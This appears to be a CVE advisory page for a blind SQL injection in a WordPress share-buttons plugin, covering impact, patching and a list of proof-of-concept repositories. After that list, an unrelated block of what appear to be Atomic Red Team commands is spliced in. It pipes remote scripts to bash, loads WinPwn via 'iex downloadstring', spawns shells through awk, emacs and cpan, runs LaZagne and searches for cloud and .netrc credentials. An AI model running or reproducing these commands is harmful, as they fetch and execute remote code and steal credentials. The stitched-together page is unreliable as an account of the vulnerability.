CVE-2024-55982
Overview
This vulnerability is a Blind SQL Injection in the richteam Share Buttons – Social Media WordPress plugin, specifically affecting versions up to 1.0.2. The root cause is improper neutralization of special characters in SQL commands, allowing untrusted input to be injected directly into database queries without adequate sanitization or parameterization. The flaw resides in the plugin’s backend handling of user-supplied data within SQL statements, enabling manipulation of query logic at the database layer.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in richteam Share Buttons – Social Media rich-web-share-button allows Blind SQL Injection.This issue affects Share Buttons – Social Media: from n/a through <= 1.0.2.
Impact
An unauthenticated attacker can exploit this vulnerability to perform Blind SQL Injection attacks against the WordPress database used by the plugin. This enables extraction of sensitive backend information such as database schema details and potentially user data. The attacker can also cause partial denial of service by manipulating database queries. Because no authentication or user interaction is required, the vulnerability allows remote attackers to compromise data confidentiality and integrity within the affected WordPress environment, leading to potential data breaches and service disruption.
Solution
Upgrade the richteam Share Buttons – Social Media WordPress plugin to version 1.0.3 or later, where the SQL injection vulnerability has been addressed. Refer to the Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/rich-web-share-button/vulnerability/wordpress-share-buttons-social-media-plugin-1-0-2-sql-injection-vulnerability-2?_s_id=cve for detailed patch instructions and version updates. Applying the vendor-provided patch or update is the recommended remediation to eliminate this vulnerability.
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Full Analysis
The vulnerability in the Share Buttons – Social Media component arises from improper handling of user input, specifically allowing for SQL Injection attacks. This type of vulnerability occurs when an application fails to adequately sanitize input data before including it in SQL queries. In this case, the affected version of the rich-web-share-button does not neutralize special characters that can manipulate SQL commands, leading to potential unauthorized access to the underlying database. Attackers can exploit this weakness to execute arbitrary SQL queries, which may result in data leakage, data manipulation, or even complete database compromise.
Exploitation of this vulnerability can occur through various attack vectors, primarily through user interaction with the affected Share Buttons. An attacker could craft a malicious payload embedded in a URL or form input that the application processes without proper validation. For instance, if a user clicks on a share button that incorporates user-generated content, the application might inadvertently execute the attacker's SQL commands. This blind SQL injection allows the attacker to infer data from the database by observing the application's responses, enabling them to extract sensitive information such as user credentials, personal data, or even administrative access to the application itself.
The real-world impact of such a vulnerability can be severe, particularly for organizations that rely on the affected component for social media integration. The potential for data breaches poses significant business risks, including financial loss, reputational damage, and legal repercussions stemming from non-compliance with data protection regulations. Organizations may face costly remediation efforts, and the trust of their users could be irreparably harmed. Furthermore, the high CVSS score of 9.3 indicates that this vulnerability poses a critical risk, necessitating immediate attention from security teams to mitigate potential exploitation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL injection vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious input. Additionally, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user input is properly sanitized and cannot manipulate SQL commands. Continuous monitoring of application logs can also help detect unusual patterns indicative of SQL injection attempts, allowing for timely responses to potential threats.
In conclusion, the improper neutralization of special elements in SQL commands within the Share Buttons – Social Media component presents a significant security risk. The potential for exploitation through blind SQL injection can lead to severe consequences for affected organizations. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, cybersecurity professionals can better equip themselves to implement effective detection and mitigation strategies. Proactive measures, including secure coding practices and regular security assessments, are essential to safeguarding applications against such vulnerabilities and maintaining the integrity of sensitive data.
Affected Products
No CPE information available.
Disclaimer
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GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
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RandomRobbieBF/CVE-2024-55982
Share Buttons – Social Media <= 1.0.2 - Unauthenticated SQL Injection
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RandomRobbieBF | 0 | 0 | 2025-01-03 | View |
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1 eventsProof-of-concept code is publicly available for this vulnerability
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
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Remote = "$($_.RemoteAddress):$($_.RemotePort)"
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}
} | Sort-Object State,Process | Format-Table -AutoSize
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sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
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Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
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https://nvd.nist.gov/vuln/detail/CVE-2024-55982 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/rich-web-share-button/vulnerability/wordpress-share-buttons-social-media-plugin-1-0-2-sql-injection-vulnerability-2?_s_id=cve |